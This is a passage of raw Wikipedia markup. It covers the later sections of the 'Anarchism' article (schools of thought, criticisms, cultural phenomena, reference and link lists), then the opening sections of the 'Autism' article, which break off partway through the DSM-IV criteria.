*'''Post-left anarchy''' - Post-left anarchy (also called egoist-anarchism) seeks to distance itself from the traditional &quot;left&quot; - communists, liberals, social democrats, etc. - and to escape the confines of [[ideology]] in general. Post-leftists argue that anarchism has been weakened by its long attachment to contrary &quot;leftist&quot; movements and single issue causes ([[anti-war]], [[anti-nuclear]], etc.). It calls for a synthesis of anarchist thought and a specifically anti-authoritarian revolutionary movement outside of the leftist milieu. It often focuses on the individual rather than speaking in terms of class or other broad generalizations and shuns organizational tendencies in favor of the complete absence of  explicit hierarchy. Important groups and individuals associated with Post-left anarchy include: [[CrimethInc]], the magazine [[Anarchy: A Journal of Desire Armed]] and its editor [[Jason McQuinn]], [[Bob Black]], [[Hakim Bey]] and others. For more information, see [[Infoshop.org]]'s ''Anarchy After Leftism''&lt;ref&gt;[http://www.infoshop.org/afterleftism.html Infoshop.org - Anarchy After Leftism]&lt;/ref&gt; section, and the [http://anarchism.ws/postleft.html Post-left section] on [http://anarchism.ws/ anarchism.ws.] ''See also:'' [[Post-left anarchy]]

*'''Post-structuralism''' - The term postanarchism was originated by [[Saul Newman]], first receiving popular attention in his book ''[[From Bakunin to Lacan]]'' to refer to a theoretical move towards a synthesis of classical anarchist theory and [[poststructuralist]] thought. Subsequent to Newman's use of the term, however, it has taken on a life of its own and a wide range of ideas including [[autonomism]], [[post-left anarchy]], [[situationism]], [[post-colonialism]] and Zapatismo. By its very nature post-anarchism rejects the idea that it should be a coherent set of doctrines and beliefs. As such it is difficult, if not impossible, to state with any degree of certainty who should or shouldn't be grouped under the rubric. Nonetheless key thinkers associated with post-anarchism include [[Saul Newman]], [[Todd May]], [[Gilles Deleuze]] and [[Félix Guattari]]. ''External reference: Postanarchism Clearinghouse''&lt;ref&gt;[http://www.postanarchism.org/ Post anarchist clearing house]&lt;/ref&gt; ''See also'' [[Post-anarchism]]

*'''Insurrectionary anarchism''' - Insurrectionary anarchism is a form of revolutionary anarchism critical of formal anarchist labor unions and federations. Insurrectionary anarchists advocate informal organization, including small affinity groups, carrying out acts of resistance in various struggles, and mass organizations called base structures, which can include exploited individuals who are not anarchists. Proponents include [[Wolfi Landstreicher]] and [[Alfredo M. Bonanno]], author of works including &quot;Armed Joy&quot; and &quot;The Anarchist Tension&quot;. This tendency is represented in the US in magazines such as [[Willful Disobedience]] and [[Killing King Abacus]]. ''See also:'' [[Insurrectionary anarchism]]

*'''Small 'a' anarchism''' - '''Small 'a' anarchism''' is a term used in two different, but not unconnected contexts. Dave Neal posited the term in opposition to big 'A' Anarchism in the article [http://www.spunk.org/library/intro/practice/sp001689.html Anarchism: Ideology or Methodology?]. While big 'A' Anarchism referred to ideological Anarchists, small 'a' anarchism was applied to their methodological counterparts; those who viewed anarchism as &quot;a way of acting, or a historical tendency against illegitimate authority.&quot; As an anti-ideological position, small 'a' anarchism shares some similarities with [[post-left anarchy]]. [[David Graeber]] and [[Andrej Grubacic]] offer an alternative use of the term, applying it to groups and movements organising according to or acting in a manner consistent with anarchist principles of decentralisation, voluntary association, mutual aid, the network model, and crucially, &quot;the rejection of any idea that the end justifies the means, let alone that the business of a revolutionary is to seize state power and then begin imposing one's vision at the point of a gun.&quot;[http://www.zmag.org/content/showarticle.cfm?SectionID=41&amp;ItemID=4796]

==Other issues==
*'''Conceptions of an anarchist society''' - Many political philosophers justify support of the state as a means of regulating violence, so that the destruction caused by human conflict is minimized and fair relationships are established. Anarchists argue that pursuit of these ends does not justify the establishment of a state; many argue that the state is incompatible with those goals and the ''cause'' of chaos, violence, and war. Anarchists argue that the state helps to create a [[Monopoly on the legitimate use of physical force|monopoly on violence]], and uses violence to advance elite interests.  Much effort has been dedicated to explaining how anarchist societies would handle criminality.''See also:'' [[Anarchism and Society]]

*'''Civil rights and cultural sovereignty''' - [[Black anarchism]] opposes the existence of a state, capitalism, and subjugation and domination of people of color, and favors a non-hierarchical organization of society. Theorists include [[Ashanti Alston]], [[Lorenzo Komboa Ervin]], and [[Sam Mbah]]. [[Anarchist People of Color]] was created as a forum for non-caucasian anarchists to express their thoughts about racial issues within the anarchist movement, particularly within the United States. [[National anarchism]] is a political view which seeks to unite cultural or ethnic preservation with anarchist views. Its adherents propose that those preventing ethnic groups (or [[races]]) from living in separate autonomous groupings should be resisted. [[Anti-Racist Action]] is not an anarchist group, but many anarchists are involved.  It focuses on publicly confronting racist agitators. The [[Zapatista]] movement of Chiapas, Mexico is a cultural sovereignty group with some anarchist proclivities.

*'''Neocolonialism and Globalization''' - Nearly all anarchists oppose [[neocolonialism]] as an attempt to use economic coercion on a global scale, carried out through state institutions such as the [[World Bank]], [[World Trade Organization]], [[G8|Group of Eight]], and the [[World Economic Forum]]. [[Globalization]] is an ambiguous term that has different meanings to different anarchist factions. Most anarchists use the term to mean neocolonialism and/or [[cultural imperialism]] (which they may see as related). Many are active in the [[anti-globalization]] movement. Others, particularly anarcho-capitalists, use &quot;globalization&quot; to mean the worldwide expansion of the division of labor and trade, which they see as beneficial so long as governments do not intervene.

*'''Parallel structures''' - Many anarchists try to set up alternatives to state-supported institutions and &quot;outposts,&quot;  such as [[Food Not Bombs]], [[infoshop]]s, educational systems such as home-schooling, neighborhood mediation/arbitration groups, and so on.  The idea is to create the structures for a new anti-authoritarian society in the shell of the old, authoritarian one.

*'''Technology''' - Recent technological developments have made the anarchist cause both easier to advance and more conceivable to people. Many people use the Internet to form on-line communities. [[Intellectual property]] is undermined and a gift-culture supported by [[file sharing|sharing music files]],  [[open source]] programming, and the [[free software movement]]. These cyber-communities include the [[GNU]], [[Linux]], [[Indymedia]], and [[Wiki]]. &lt;!-- ***NEEDS SOURCE THAT E-GOLD IS USED BY ANARCHISTS*** [[Public key cryptography]] has made anonymous digital currencies such as [[e-gold]] and [[Local Exchange Trading Systems]] an alternative to statist [[fiat money]]. --&gt; Some anarchists see [[information technology]] as the best weapon to defeat authoritarianism. Some even think the information age makes eventual anarchy inevitable.&lt;ref&gt;[http://www.modulaware.com/a/?m=select&amp;id=0684832720 The Sovereign Individual -- Mastering the transition to the information age]&lt;/ref&gt; ''See also'': [[Crypto-anarchism]] and [[Cypherpunk]].

*'''Pacifism''' - Some anarchists consider [[Pacifism]] (opposition to [[war]]) to be inherent in their philosophy. [[Anarcho-pacifism|anarcho-pacifists]] take it further and follow [[Leo Tolstoy]]'s belief in [[Nonviolence|non-violence]]. Anarchists see war as an activity in which the state seeks to gain and consolidate power, both domestically and in foreign lands, and subscribe to [[Randolph Bourne]]'s view that &quot;war is the health of the state&quot;&lt;ref&gt;[http://struggle.ws/hist_texts/warhealthstate1918.html War is the Health of the State]&lt;/ref&gt;. A lot of anarchist activity has been [[anti-war]] based.

*'''Parliamentarianism''' - In general terms, the anarchist ethos opposes voting in elections, because voting amounts to condoning the state.&lt;ref&gt;[http://members.aol.com/vlntryst/hitler.html The Voluntaryist - Why I would not vote against Hitler]&lt;/ref&gt;. [[Voluntaryism]] is an anarchist school of thought which emphasizes &quot;tending your own garden&quot; and &quot;neither ballots nor bullets.&quot; The anarchist case against voting is explained in ''The Ethics of Voting''&lt;ref&gt;[http://www.voluntaryist.com/nonvoting/ethics_of_voting.php Voluntaryist - The ethics of voting]&lt;/ref&gt; by [[George H. Smith]]. (Also see &quot;Voting Anarchists: An Oxymoron or What?&quot; by [[Joe Peacott]], and writings by [[Fred Woodworth]]).

*'''Sectarianism''' - Most anarchist schools of thought are, to some degree, [[sectarian]].  There is often a difference of opinion ''within'' each school about how to react to, or interact with, other schools.  Some, such as [[panarchy|panarchists]], believe that it is possible for a variety of modes of social life to coexist and compete. Some anarchists view opposing schools as a social impossibility and resist interaction; others see opportunities for coalition-building, or at least temporary alliances for specific purposes. ''See [[anarchism without adjectives]].''

==Criticisms of anarchism==
:''Main article:'' [[Criticisms of anarchism]]

'''Violence.'''  Since anarchism has often been associated with violence and destruction, some people have seen it as being too violent. On the other hand hand, [[Frederick Engels]] criticsed anarchists for not being violent enough:
:''&quot;A revolution is certainly the most authoritarian thing there is; it is the act whereby one part of the population imposes its will upon the other part by means of rifles, bayonets and cannon — authoritarian means, if such there be at all; and if the victorious party does not want to have fought in vain, it must maintain this rule by means of the terror which its arms inspire in the reactionists. Would the Paris Commune have lasted a single day if it had not made use of this authority of the armed people against the bourgeois?&quot;&lt;ref&gt;[http://www.marxists.org/archive/marx/works/1872/10/authority.htm ''On Authority'']&lt;/ref&gt;

'''Utopianism.''' Anarchism is often criticised as unfeasible, or plain [[utopian]], even by many who agree that it's a nice idea in principle. For example, Carl Landauer in his book ''European Socialism'' criticizes anarchism as being unrealistically utopian, and holds that government is a &quot;lesser evil&quot; than a society without &quot;repressive force.&quot; He holds that the belief that &quot;ill intentions will cease if repressive force disappears&quot; is an &quot;absurdity.&quot;&lt;ref&gt;[[Carl Landauer|Landauer]], Carl. ''European Socialism: A History of Ideas and Movements'' (1959) (retrieved from &quot;Anarchist Theory FAQ&quot; by [[Bryan Caplan]] on [[January 27]] [[2006]]&lt;/ref&gt; However, it must be noted that not all anarchists have such a utopian view of anarchism. For example, some, such as Benjamin Tucker, advocate privately-funded institutions that defend individual liberty and property. However, other anarchists, such as Sir [[Herbert Read]], proudly accept the characterization &quot;utopian.&quot; 

'''[[Social class|Class]] character.''' [[Marxists]] have characterised anarchism as an expression of the class interests of the [[petite bourgeoisie]] or perhaps the [[lumpenproletariat]]. See e.g. Plekhanov&lt;ref&gt;[[G. V. Plekhanov]] ''&quot;[http://www.marxists.org/archive/plekhanov/1895/anarch/index.htm Anarchism and Socialism]&quot;''&lt;/ref&gt; for a Marxist critique of 1895. Anarchists have also been characterised as spoilt [[middle-class]] [[dilettante]]s, most recently in relation to [[anti-capitalism|anti-capitalist]] protesters.

'''Tacit authoritarianism.''' In recent decades anarchism has been criticised by 'situationists', 'post-anarchists' and others of preserving 'tacitly statist', authoritarian or bureaucratic tendencies behind a dogmatic facade.&lt;ref&gt;[http://library.nothingness.org/articles/SI/en/display/20 ''Society of the Spectacle] Paragraph 91&lt;/ref&gt;

'''Hypocrisy.''' Some critics point to the [[sexist]]&lt;ref&gt;[[Jenny P. d'Hericourt]], ''&quot;[http://www.pinn.net/~sunshine/whm2003/hericourt2.html Contemporary feminist critic of Proudhon]&quot;''&lt;/ref&gt; and [[racist]] views of some prominent anarchists, notably [[Pierre-Joseph Proudhon|Proudhon]] and [[Mikhail Bakunin|Bakunin]], as examples of [[hypocrisy]] inherent within anarchism. While many anarchists, however, dismiss that the personal prejudices of 19th century theorists influence the beliefs of present-day anarchists, others criticise modern anarchism for continuing to be [[eurocentric]] and reference the impact of anarchist thinkers like Proudhon on [[fascism]] through groups like [[Cercle Proudhon]].&lt;ref&gt;[http://www.stewarthomesociety.org/ai.htm ''Anarchist Integralism]&lt;/ref&gt; Anarcho-capitalist [[Bryan Caplan]] argues that the treatment of fascists and suspected fascist sympathizers by Spanish Anarchists in the Spanish Civil War was a form of illegitimate coercion, making the proffessed anarchists &quot;ultimately just a third faction of totalitarians,&quot; alongside the communists and fascists. He also criticizes the willingness of the CNT to join the (statist) Republican government during the civil war, and references [[Stanley G. Payne]]'s  book on the Franco regime which claims that the CNT entered negotiations with the fascist government six years after the war.&lt;ref&gt;[[Bryan Caplan|Caplan]], Bryan. ''&quot;[http://www.gmu.edu/departments/economics/bcaplan/spain.htm The Anarcho-Statists of Spain]&quot;''&lt;/ref&gt;

==Cultural phenomena==
[[Image:Noam_chomsky.jpg|thumb|150px|right| [[Noam Chomsky]] (1928–)]]
The kind of anarchism that is most easily encountered in popular culture is represented by celebrities who publicly identify themselves as anarchists. Although some anarchists reject any focus on such famous living individuals as inherently élitist, the following figures are examples of prominent publicly self-avowed anarchists:

* the [[MIT]] professor of [[Linguistics]] [[Noam Chomsky]]
* the [[science fiction]] author [[Ursula K. Le Guin]]
* the social historian [[Howard Zinn]] 
* entertainer and author [[Hans Alfredsson]]
* the [[Avant-garde]] artist [[Nicolás Rosselló]]

In [[Denmark]], the [[Freetown Christiania]] was created in downtown [[Copenhagen]]. The housing and employment crisis in most of [[Western Europe]] led to the formation of [[commune (intentional community)|communes]] and squatter movements like the one still thriving in [[Barcelona]], in [[Catalonia]].  Militant [[antifa|resistance to neo-Nazi groups]] in places like Germany, and the uprisings of [[autonomous Marxism]], [[situationist]], and [[Autonomist]] groups in France and Italy also helped to give popularity to anti-authoritarian, non-capitalist ideas.   

In various musical styles, anarchism rose in popularity.  Most famous for the linking of anarchist ideas and music has been punk rock, although in the modern age, hip hop, and folk music are also becoming important mediums for the spreading of the anarchist message.  In the [[United Kingdom|UK]] this was associated with the [[punk rock]] movement; the band [[Crass]] is celebrated for its anarchist and [[pacifism|pacifist]] ideas. The [[Dutch people|Dutch]] punk band [[The Ex]] further exemplifies this expression.
''For further details, see [[anarcho-punk]]''

==See also==
&lt;!-- (Please take care in adding to this list that it not grow excessively large, consider adding to the list of anarchist concepts page) --&gt;
There are many concepts relevant to the topic of anarchism, this is a brief summary.  There is also a more extensive [[list of anarchist concepts]].

* [[individualist anarchism]], [[anarcho-communism]], [[anarcho-syndicalism]], [[anarcho-capitalism]], [[mutualism]], [[Christian anarchism]], [[anarcha-feminism]], [[green anarchism]], [[nihilist anarchism]], [[anarcho-nationalism]], [[black anarchism]], [[national anarchism]]. [[post-anarchism]], [[post-left anarchism]] 
* [[Libertarian Socialism]]
* [[Anarchist symbolism]]
* [[Anarchism/Links|List of anarchism links]]
* [[List of anarchists]]
* [[List of anarchist organizations]]
* [[Major conflicts within anarchist thought]]
* [[Past and present anarchist communities]]

===Historical events===
*[[Paris Commune]] (1871)
*[[Haymarket Riot]] (1886)
*[[The Makhnovschina]] (1917 &amp;mdash; 1921)
*[[Kronstadt rebellion]] (1921)
*[[Spanish Revolution]] (1936) (see [[Anarchism in Spain]] and [[Spanish Revolution]])
*May 1968, France (1968)
*[[WTO Ministerial Conference of 1999|WTO Meeting in Seattle]] (1999)

===Books===
{{main|List of anarchist books}}

The following is a sample of books that have been referenced in this page, a more complete list can be found at the [[list of anarchist books]].

*[[Mikhail Bakunin]], ''[[God and the State]]'' [http://dwardmac.pitzer.edu/Anarchist_Archives/bakunin/godandstate/godandstate_ch1.html]
*[[Emma Goldman]], ''[[Anarchism &amp; Other Essays]]'' [http://dwardmac.pitzer.edu/Anarchist_Archives/goldman/GoldmanCW.html]
*[[Peter Kropotkin]], ''[[Mutual Aid: A Factor of Evolution|Mutual Aid]]'' [http://www.gutenberg.org/etext/4341]
*[[Pierre-Joseph Proudhon]], ''[[What is Property?]]'' [http://www.gutenberg.org/etext/360]
*[[Rudolf Rocker]], ''[[Anarcho-Syndicalism (book)|Anarcho-Syndicalism]]''
*[[Murray Rothbard]] ''[[The Ethics of Liberty]]'' [http://www.mises.org/rothbard/ethics/ethics.asp]
*[[Max Stirner]], ''[[The Ego And Its Own]]'' [http://www.df.lth.se/~triad/stirner/]
*[[Leo Tolstoy]], ''[[The Kingdom of God is Within You]]'' [http://www.kingdomnow.org/withinyou.html]

===Anarchism by region/culture===
* [[African Anarchism]]
* [[Anarchism in Spain]]
* [[Anarchism in the English tradition]]
* [[Chinese anarchism]]

==References==
&lt;div style=&quot;font-size: 85%&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

'''These notes have no corresponding reference in the article. They might be re-used.'''
# {{note|bill}} [http://ns52.super-hosts.com/~vaz1net/bill/anarchism/library/thelaw.html]
# {{note|praxeology}} [http://praxeology.net/GM-PS.htm]
# {{note|platform}} [http://flag.blackened.net/revolt/platform/plat_preface.html]
# {{note|appleton}} [http://www.againstpolitics.com/market_anarchism/appleton_boston.htm Against Politics - Appleton - Boston Anarchists]
# {{note|Yarros-NotUtopian}} [[Victor Yarros|Yarros, Victor]] ''Liberty'' VII, [[January 2]] [[1892]].
# {{note|totse}} [http://www.totse.com/en/politics/anarchism/161594.html Noam Chomsky on Anarchism by Noam Chomsky]

==External links==
The overwhelming diversity and number of links relating to anarchism is extensively covered on the [[List of anarchism web resources|links subpage]]. 
{{wikiquote|Definitions of anarchism}}
*[http://anarchoblogs.protest.net/ Anarchoblogs] Blogs by Anarchists.
*[http://dwardmac.pitzer.edu/Anarchist_Archives/ Anarchy Archives] extensively archives information relating to famous anarchists.  This includes many of their books and other publications.
*Hundreds of anarchists are listed, with short bios, links &amp; dedicated pages [http://recollectionbooks.com/bleed/gallery/galleryindex.htm at the Daily Bleed's Anarchist Encyclopedia]
*[http://www.infoshop.org/ Infoshop.org] ([[Infoshop.org|wikipedia page]])
*[http://www.iww.org/ Industrial Workers of the World]

&lt;!-- Attention!  The external link portion of this article regularly grows far beyond manageable size.  Please only list an outside link if it applies to anarchism in general and is somewhat noteworthy.  Links to lesser known sites or submovements will be routinely moved to the list page to keep this article free of clutter --&gt;


[[Category:Anarchism|*]]
[[Category:Forms of government|Anarchism]]
[[Category:Political ideology entry points|Anarchism]]
[[Category:Political theories|Anarchism]]
[[Category:Social philosophy|Anarchism]]

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2) Use ref/note combos for all links and explicitly cited references
3) Reference anything you put here with notable references, as this subject tends to attract a lot of controversy. 

--&gt;{{DiseaseDisorder infobox |
  Name  = Childhood autism |
  ICD10 =  F84.0 |
  ICD9  =  {{ICD9|299.0}} |
}}
'''Autism''' is classified as a neurodevelopmental disorder that manifests itself in markedly abnormal social interaction, communication ability, patterns of interests, and patterns of behavior. 

Although the specific [[etiology]] of autism is unknown, many researchers suspect that autism results from genetically mediated vulnerabilities to environmental triggers. And while there is disagreement about the magnitude, nature, and mechanisms for such environmental factors, researchers have found at least seven major genes prevalent among individuals diagnosed as autistic. Some estimate that autism occurs in as many as one [[United States]] child in 166, however the [[National Institute of Mental Health]] gives a more conservative estimate of one in 1000{{ref|NihAutismov2005}}. For families that already have one autistic child, the odds of a second autistic child may be as high as one in twenty.  Diagnosis is based on a list of [[Psychiatry|psychiatric]] criteria, and a series of standardized clinical tests may also be used.

Autism may not be [[Physiology|physiologically]] obvious. A complete physical and [[neurological]] evaluation will typically be part of diagnosing autism. Some now speculate that autism is not a single condition but a group of several distinct conditions that manifest in similar ways.

By definition, autism must manifest delays in &quot;social interaction, language as used in social communication, or symbolic or imaginative play,&quot; with &quot;onset prior to age 3 years&quot;, according to the [[Diagnostic and Statistical Manual of Mental Disorders]]. The [[ICD-10]] also says that symptoms must &quot;manifest before the age of three years.&quot; There have been large increases in the reported [[Autism epidemic|incidence of autism]], for reasons that are heavily debated by [[research]]ers in [[psychology]] and related fields within the [[scientific community]].

Some children with autism have improved their social and other skills to the point where they can fully participate in mainstream education and social events, but there are lingering concerns that an absolute cure from autism is impossible with current technology. However, many autistic children and adults who are able to communicate (at least in writing) are opposed to attempts to cure their conditions, and see such conditions as part of who they are.

==History==
[[image:Asperger_kl2.jpg|frame|right|Dr. [[Hans Asperger]] described a form of autism in the 1940s that later became known as [[Asperger's syndrome]].]]

The word ''autism'' was first used in the [[English language]] by Swiss psychiatrist [[Eugene Bleuler]] in a 1912 number of the ''American Journal of Insanity''. It comes from the Greek word for &quot;self&quot;.

However, the [[Medical classification|classification]] of autism did not occur until the middle of the [[twentieth century]], when in 1943 psychiatrist Dr. [[Leo Kanner]] of the [[Johns Hopkins Hospital]] in Baltimore reported on 11 child patients with striking behavioral similarities, and introduced the label ''early infantile autism''. He suggested &quot;autism&quot; from the [[Greek language|Greek]] &amp;alpha;&amp;upsilon;&amp;tau;&amp;omicron;&amp;sigmaf; (''autos''), meaning &quot;self&quot;, to describe the  fact that the children seemed to lack interest in other people. Although Kanner's first paper on the subject was published in a (now defunct) journal, ''The Nervous Child'', almost every characteristic he originally described is still regarded as typical of the autistic spectrum of disorders.

At the same time an [[Austria|Austrian]] scientist, Dr. [[Hans Asperger]], described a different form of autism that became known as [[Asperger's syndrome]]&amp;mdash;but the widespread recognition of Asperger's work was delayed by [[World War II]] in [[Germany]], and by the fact that his seminal paper wasn't translated into English for almost 50 years. The majority of his work wasn't widely read until 1997.

Thus these two conditions were described and are today listed in the [[Diagnostic and Statistical Manual of Mental Disorders]] DSM-IV-TR (fourth edition, text revision 1) as two of the five [[Pervasive developmental disorder|pervasive developmental disorders]] (PDD), more often referred to today as [[Autistic spectrum|autism spectrum disorders]] (ASD). All of these conditions are characterized by varying degrees of difference in [[communication skill]]s, social interactions, and restricted, repetitive and stereotyped patterns of [[Human behavior|behavior]].

Few clinicians today solely use the DSM-IV criteria for determining a diagnosis of autism, which are based on the absence or delay of certain developmental milestones. Many clinicians instead use an alternate means (or a combination thereof) to more accurately determine a [[diagnosis]].

==Terminology==
{{wiktionarypar2|autism|autistic}}
When referring to someone diagnosed with autism, the term ''autistic'' is often used. However, the term ''person with autism'' can be used instead. This is referred to as ''[[person-first terminology]]''. The [[autistic community]] generally prefers the term ''autistic'' for reasons that are fairly controversial. This article uses the term ''autistic'' (see [[Talk:Autism|talk page]]).

==Characteristics==
[[Image:kanner_kl2.jpg|frame|right|Dr. [[Leo Kanner]] introduced the label ''early infantile autism'' in 1943.]]
There is a great diversity in the skills and behaviors of individuals diagnosed as autistic, and physicians will often arrive at different conclusions about the appropriate diagnosis. Much of this is due to the [[sensory system]] of an autistic which is quite different from the sensory system of other people, since certain [[stimulus|stimulations]] can affect an autistic differently than a non-autistic, and the degree to which the sensory system is affected varies wildly from one autistic person to another.

Nevertheless, professionals within [[pediatric]] care and development often look for early indicators of autism in order to initiate treatment as early as possible.  However, some people do not believe in treatment for autism, either because they do not believe autism is a disorder or because they believe treatment can do more harm than good.

===Social development===
Typically, developing infants are social beings&amp;mdash;early in life they do such things as gaze at people, turn toward voices, grasp a finger, and even smile. In contrast, most autistic children prefer objects to faces and seem to have tremendous difficulty learning to engage in the give-and-take of everyday human interaction. Even in the first few months of life, many seem indifferent to other people because they avoid eye contact and do not interact with them as often as non-autistic children.

Children with autism often appear to prefer being alone to the company of others and may passively accept such things as hugs and cuddling without reciprocating, or resist attention altogether. Later, they seldom seek comfort from others or respond to parents' displays of [[anger]] or [[affection]] in a typical way. Research has suggested that although autistic children are attached to their [[parent]]s, their expression of this attachment is unusual and difficult to interpret. Parents who looked forward to the joys of cuddling, [[teaching]], and playing with their child may feel crushed by this lack of expected [[attachment theory|attachment]] behavior.

Children with autism appear to lack &quot;[[Theory of mind|theory of mind]]&quot;, the ability to see things from another person's perspective, a behavior cited as exclusive to human beings above the age of five and, possibly, other higher [[primate]]s such as adult [[gorilla]]s, [[Common chimpanzee|chimpanzee]]s and [[bonobos]]. Typical 5-year-olds can develop insights into other people's different knowledge, feelings, and intentions, interpretations based upon social cues (e.g., gestures, facial expressions). An individual with autism seems to lack these interpretation skills, an inability that leaves them unable to predict or understand other people's actions. The [[social alienation]] of autistic and Asperger's people is so intense from childhood that many of them have [[imaginary friend]]s as companionship. However, having an imaginary friend is not necessarily a sign of autism and also occurs in non-autistic children. 

Although not universal, it is common for autistic people to not regulate their behavior. This can take the form of crying or verbal outbursts that may seem out of proportion to the situation. Individuals with autism generally prefer consistent routines and environments; they may react negatively to changes in them. It is not uncommon for these individuals to exhibit aggression, increased levels of self-stimulatory behavior, self-injury or extensive withdrawal in overwhelming situations.

===Sensory system===
A key indicator to clinicians making a proper assessment for autism would include looking for symptoms much like those found in [[Sensory Integration Dysfunction|sensory integration dysfunction]]. Children will exhibit problems coping with the normal sensory input. Indicators of this disorder include oversensitivity or underreactivity to touch, movement, sights, or sounds; physical clumsiness or carelessness; poor body awareness; a tendency to be easily distracted; impulsive physical or verbal behavior; an activity level that is unusually high or low; not unwinding or calming oneself; difficulty learning new movements; difficulty in making transitions from one situation to another; social and/or emotional problems; delays in [[Speech delay|speech]], [[Language delay|language]] or [[motor skills]]; specific learning difficulties/delays in academic achievement.

One common example is an individual with autism [[Hearing (sense)|hearing]]. A person with Autism may have trouble hearing certain people while other people are louder than usual. Or the person with autism may be unable to filter out sounds in certain situations, such as in a large crowd of people (see [[cocktail party effect]]). However, this is perhaps the part of the autism that tends to vary the most from person to person, so these examples may not apply to every autistic.

It should be noted that sensory difficulties, although reportedly common in autistics, are not part of the [[DSM-IV]] diagnostic criteria for ''autistic disorder''.

===Communication difficulties===
By age 3, typical children have passed predictable language learning milestones; one of the earliest is babbling. By the first birthday, a typical toddler says words, turns when he or she hears his or her name, points when he or she wants a toy, and when offered something distasteful, makes it clear that the answer is &quot;no.&quot; Speech development in people with autism takes different paths.  Some remain [[mute]] throughout their lives while being fully [[literacy|literate]] and able to communicate in other ways&amp;mdash;images, [[sign language]], and [[typing]] are far more natural to them. Some infants who later show signs of autism coo and babble during the first few months of life, but stop soon afterwards. Others may be delayed, developing language as late as the [[adolescence|teenage]] years.  Still, inability to speak does not mean that people with autism are unintelligent or unaware.  Once given appropriate accommodations, many will happily converse for hours, and can often be found in online [[chat room]]s, discussion boards or [[website]]s and even using communication devices at autism-community social events such as [[Autreat]].

Those who do speak often use [[language]] in unusual ways, retaining features of earlier stages of language development for long periods or throughout their lives.  Some speak only single words, while others repeat the same phrase over and over. Some repeat what they hear, a condition called [[echolalia]].  Sing-song repetitions in particular are a calming, joyous activity that many autistic adults engage in.  Many people with autism have a strong [[tonality|tonal]] sense, and can often understand spoken language. 
Some children may exhibit only slight delays in language, or even seem to have precocious language and unusually large [[vocabulary|vocabularies]], but have great difficulty in sustaining typical [[conversation]]s.  The &quot;give and take&quot; of non-autistic conversation is hard for them, although they often carry on a [[monologue]] on a favorite subject, giving no one else an opportunity to comment. When given the chance to converse with other autistics, they comfortably do so in &quot;parallel monologue&quot;&amp;mdash;taking turns expressing views and information.  Just as &quot;[[neurotypical]]s&quot; (people without autism) have trouble understanding autistic [[body language]]s, vocal tones, or phraseology, people with autism similarly have trouble with such things in people without autism.  In particular, autistic language abilities tend to be highly literal; people without autism often inappropriately attribute hidden meaning to what people with autism say or expect the person with autism to sense such unstated meaning in their own words.

The body language of people with autism can be difficult for other people to understand. Facial expressions, movements, and gestures may be easily understood by some other people with autism, but do not match those used by other people. Also, their tone of voice has a much more subtle inflection in reflecting their feelings, and the [[auditory system]] of a person without autism often cannot sense the fluctuations. What seems to non-autistic people like a high-pitched, sing-song, or flat, [[robot]]-like voice is common in autistic children. Some autistic children with relatively good language skills speak like little adults, rather than communicating at their current age level, which is one of the things that can lead to problems.

Since non-autistic people are often unfamiliar with the autistic [[body language]], and since autistic natural language may not tend towards speech, autistic people often struggle to let other people know what they need. As anybody might do in such a situation, they may scream in frustration or resort to grabbing what they want. While waiting for non-autistic people to learn to communicate with them, people with autism do whatever they can to get through to them. Communication difficulties may contribute to autistic people becoming socially anxious or depressed.

===Repetitive behaviors===
Although people with autism usually appear physically normal and have good muscle control, unusual repetitive motions, known as self-stimulation or &quot;stimming,&quot; may set them apart. These behaviors might be extreme and highly apparent or more subtle. Some children and older individuals spend a lot of time repeatedly flapping their arms or wiggling their toes, others suddenly freeze in position. As [[child]]ren, they might spend hours lining up their cars and trains in a certain way, not using them for pretend play. If someone accidentally moves one of these toys, the child may be tremendously upset. Autistic children often need, and demand, absolute consistency in their environment. A slight change in any routine&amp;mdash;in mealtimes, dressing, taking a bath, or going to school at a certain time and by the same route&amp;mdash;can be extremely disturbing. People with autism sometimes have a persistent, intense preoccupation. For example, the child might be obsessed with learning all about [[vacuum cleaners]], [[train]] schedules or [[lighthouses]]. Often they show great interest in different languages, numbers, symbols or [[science]] topics.  Repetitive behaviors can also extend into the spoken word as well. Perseveration of a single word or phrase, even for a specific number of times can also become a part of the child's daily routine.

===Effects in education===
Children with autism are affected with these symptoms every day. These unusual characteristics set them apart from the everyday normal student. Because they have trouble understanding people’s thoughts and feelings, they have trouble understanding what their teacher may be telling them. They do not understand that facial expressions and vocal variations hold meanings and may misinterpret what emotion their instructor is displaying. This inability to fully decipher the world around them makes education stressful. Teachers need to be aware of a student's disorder so that they are able to help the student get the best out of the lessons being taught. 

Some students learn better with visual aids as they are better able to understand material presented this way. Because of this, many teachers create “visual schedules” for their autistic students. This allows the student to know what is going on throughout the day, so they know what to prepare for and what activity they will be doing next. Some autistic children have trouble going from one activity to the next, so this visual schedule can help to reduce stress. 

Research has shown that working in pairs may be beneficial to autistic children. &lt;!-- cite a source here, please! --&gt; Autistic students have problems in schools not only with language and communication, but with socialization as well. They feel self-conscious about themselves and many feel that they will always be outcasts. By allowing them to work with peers they can make friends, which in turn can help them cope with the problems that arise. By doing so they can become more integrated into the mainstream environment of the classroom.

A teacher's aide can also be useful to the student. The aide is able to give more elaborate directions that the teacher may not have time to explain to the autistic child. The aide can also facilitate the autistic child in such a way as to allow them to stay at a similar level to the rest of the class. This allows a partially one-on-one lesson structure so that the child is still able to stay in a normal classroom but be given the extra help that they need. 

There are many different techniques that teachers can use to assist their students. A teacher needs to become familiar with the child’s disorder to know what will work best with that particular child. Every child is going to be different and teachers have to be able to adjust with every one of them.

Students with Autism Spectrum Disorders typically have high levels of anxiety and stress, particularly in social environments like school. If a student exhibits aggressive or explosive behavior, it is important for educational teams to recognize the impact of stress and anxiety. Preparing students for new situations by writing Social Stories can lower anxiety. Teaching social and emotional concepts using systematic teaching approaches such as The Incredible 5-Point Scale or other Cognitive Behavioral strategies can increase a student's ability to control excessive behavioral reactions.

== DSM definition ==
Autism is defined in section 299.00 of the [[Diagnostic and Statistical Manual of Mental Disorders]] (DSM-IV) as:
#A total of six (or more) items from (1), (2) and (3), with at least two from (1), and one each from (2) and (3): 
##qualitative impairment in social interaction, as manifested by at least two of the following: 
###marked impairment in the use of multiple nonverbal behaviors such as eye-to-eye gaze, facial expression, body postures, and gestures to regulate social interaction 
###failure to develop peer relationships appropriate to developmental level 
###a lack of spontaneous seeking to share enjoyment, interests, or achievements with other people (e.g., by a lack of showing, bringing, or pointing out objects of interest) 
###lack of social or emotional reciprocity 
##qualitative impairments in communication as manifested by at least one of the following: 
